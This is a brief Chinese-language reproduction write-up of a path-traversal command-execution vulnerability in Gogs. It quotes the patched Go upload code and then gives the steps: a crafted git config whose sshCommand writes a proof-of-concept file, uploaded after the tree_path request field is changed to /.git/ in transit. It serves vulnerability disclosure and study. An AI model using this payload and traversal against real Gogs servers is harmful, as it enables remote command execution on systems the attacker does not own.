gogs - 命令执行漏洞复现
正文
internal/db/repo_editor.go#L490-L495
func isRepositoryGitPath(path string) bool {
return strings.HasSuffix(path, ".git") || strings.Contains(path, ".git"+string(os.PathSeparator))
}
func (repo *Repository) UploadRepoFiles(doer *User, opts UploadRepoFileOptions) (err error) {
...
// Copy uploaded files into repository
for _, upload := range uploads {
tmpPath := upload.LocalPath()
if !osutil.IsFile(tmpPath) {
continue
}
// Prevent copying files into .git directory, see https://gogs.io/gogs/issues/5558.
// 这里做了修复,判断了是否含有.git
if isRepositoryGitPath(upload.Name) {
continue
}
targetPath := path.Join(dirPath, upload.Name)
if err = com.Copy(tmpPath, targetPath); err != nil {
return fmt.Errorf("copy: %v", err)
}
}
...
}
本地创建一个文件名为config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase = true
precomposeunicode = true
sshCommand = echo pwnned > /tmp/poc
[remote "origin"]
url = [email protected]:torvalds/linux.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
remote = origin
merge = refs/heads/master
然后再gogs的web页面新建一个repo,然后本地随便初始化一个git同步上去
然后上传文件,上传的时候抓包,修改tree_path=/.git/
漏洞形成的原因是因为没有对tree_path
进行验证,导致可以目录穿越,覆盖到repo的.git
文件夹
参考链接
https://github.com/gogs/gogs
https://huntr.dev/bounties/b4928cfe-4110-462f-a180-6d5673797902/
https://github.com/gogs/gogs/blob/3e353717540950a1459b3da7f28cc50df4a52119/internal/db/repo_editor.go#L450